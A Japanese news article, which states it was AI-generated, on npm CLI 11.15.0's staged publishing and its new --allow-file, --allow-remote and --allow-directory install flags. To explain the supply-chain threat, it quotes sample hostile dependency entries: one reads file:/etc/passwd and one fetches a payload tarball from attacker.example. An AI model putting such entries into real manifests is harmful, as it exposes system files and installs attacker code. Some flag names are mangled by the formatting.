GitHub:npm 11.15.0がサプライチェーン強化のためのステージング公開と3つの新しいインストール時--allowフラグを導入
GitHubがnpm CLIバージョン11.15.0をリリースし、ステージング公開を導入しました——パッケージはインストール可能になる前にメンテナーの承認が必要です。また、npm installコマンドで依存関係のソースを詳細に制御するための既存の--allow-gitに加えて3つの新しいインストール時フラグ(--allow-file、--allow-remote、--allow-directory)も導入されました。
この記事はAIにより一次情報源から生成されました。
GitHubは2026年5月22日UTC 18:27に、2つの関連するnpm registryセキュリティ改善を発表しました:公開ワークフローの新しいメカニズムとしてのステージング公開、およびnpm installでの依存関係ソースの詳細な制御のための3つの新しいインストール時フラグ(—allow-file、—allow-remote、—allow-directory)。両方ともnpm CLIバージョン11.15.0から利用可能で、同時にリリースされました。
ステージング公開とは何ですか、ワークフローをどう変えるか?
旧来のnpm publishワークフローはアトミックでした:メンテナーが発行トークンでコマンドを実行した瞬間に、パッケージはすべてのnpm registryミラーを通じてグローバルにインストール可能になりました。このモデルは平均年2回のインシデントを生み出していました——漏洩した公開トークンが悪意のあるパッケージを公開し、誰かが気づく前に何千ものCIに拡散していました。
ステージング公開は中間ステップを追加します。npm publishの後、パッケージは認証されたメンテナーにのみ見えるステージング状態に移行します。メンテナーは自分のテスト用にインストールし(npm install package@staged)、npm view package —tag stagedを通じてメタデータを確認し、その後明示的にnpm promote [email protected]を実行してパッケージをパブリックに利用可能な状態に移行させることができます。promoteステップなしにパッケージは7日後にステージング状態から期限切れになり自動的に削除されます。
ワークフローは現在のバージョンではオプションですが、メンテナーのpackage ownerはpackage.jsonに「publishConfig.staged」: trueを設定して、そのパッケージの将来のすべての公開をデフォルトでステージング済みにすることができます。React、Vue、Next.jsなどの大きなパッケージはすでに2026年7月中にデフォルトのステージング公開に切り替えると発表しています。
3つの新しい—allowフラグは何をするか?
npm installはこれまでいくつかのソースからの依存関係を明示的な設定なしにデフォルトで受け入れていました:ローカルfile:パス、http(s) tarball URL、ワークスペースディレクトリ参照。これは、侵害された公開パッケージからのpackage.jsonが「internal-helpers」: 「file:/etc/passwd」や「auth」: 「https://attacker.example/payload.tgz」のような依存関係を含む可能性があることを意味していました——npm installは警告なしにそれらをインストールしていました。
3つの新しいフラグはこれらのソースを明示的に制御します:
- **
--allow-file**はfile:依存関係を許可します(例:npm workspacesを使わないローカルmonorepoワークスペース用)。 - **
--allow-remote**はhttp(s)tarball URLを許可します(例:npmスコープでホストされていない内部パッケージregistry用)。 - **
--allow-directory**はワークスペースフォルダ参照を許可します。
CI環境では(環境にCI=trueがある場合)、3つのフラグはデフォルトでオフで、package.jsonにそのような依存関係が含まれている場合はnpm installが明確なエラーメッセージで失敗します。CIスクリプトで必要なフラグを明示的に有効化する必要があります。ローカル開発環境では(CIが設定されていない場合)、後方互換性のためフラグはデフォルトでオンです——ただし、メンテナーチームがローカルでもストリクトモードを望む場合は.npmrcにnpm config set allow-file falseを設定できます。
これはより広いnpmサプライチェーンセキュリティにどう組み込まれるか?
これらのメカニズムは既存のnpmセキュリティ機能の上に構築されています:npm audit(依存関係の脆弱性スキャン)、provenance attestations(パッケージとGitHub Actionsビルドの暗号化リンク)、週間ダウンロード数1,000以上のパッケージのメンテナーに対する必須2FA。ステージング公開は漏洩したトークンから保護する第2の層;—allowフラグは悪意のある依存関係注入から保護する第3の層です。
GitHubは同じ発表の中で、2026年夏にnpm-policy.jsonスキーマを公開する予定であると発表しました。これにより企業テナントが自分のリポジトリに許容される依存関係ソースを中央で定義し、CIシステム(GitHub Actions、GitLab CI、CircleCI)がパイプラインレベルで実施を統合できるようになります。プレリリーススキーマの草案はnpm/cli GitHubリポジトリで利用可能です。
以前のバージョンとの互換性は?
npm 11.15.0はNode.js 22 LTS以降と互換性があります。npm registry上のステージング公開エンドポイントはすべてのクライアントで利用可能ですが、古いバージョンのnpm CLIはコマンドを理解しません——ステージングワークフローを望むメンテナーはアップグレードが必要です。—allowフラグは新しいCLI引数です——古いバージョンはそれらを無視するか、unknown optionの警告を出しますが、後方互換性は破りません。
よくある質問
- npm 11.15.0のステージング公開とは何ですか?
- ステージング公開はパッケージ公開後にテスト用にメンテナーのみが利用できるステージング状態に移行することを意味します。明示的なpromoteステップの後のみパッケージが公開インストール可能になります。これにより漏洩した公開トークンが悪意のあるアップデートを誤って公開することを防ぎます。
- 3つの新しい--allowフラグとは何ですか?
- --allow-file(ローカルfile:依存関係を許可)、--allow-remote(http(s) tarball URLを許可)、--allow-directory(workspaceフォルダ参照を許可)です。CI環境ではデフォルトで全て無効——本当に必要なワークフローに対して明示的に有効化する必要があります。
- これはnpmサプライチェーンセキュリティをどう変えますか?
- 2つの方法で攻撃対象面を削減します:漏洩した公開トークンはもはや即座に悪意のあるパッケージを公開できず(promoteを待つ)、CIパイプラインも信頼できないソースからパッケージを誤ってインストールできません(file/remote/dirはデフォルトオフ)。npm 11.xとNode.js 22 LTS+と互換性があります。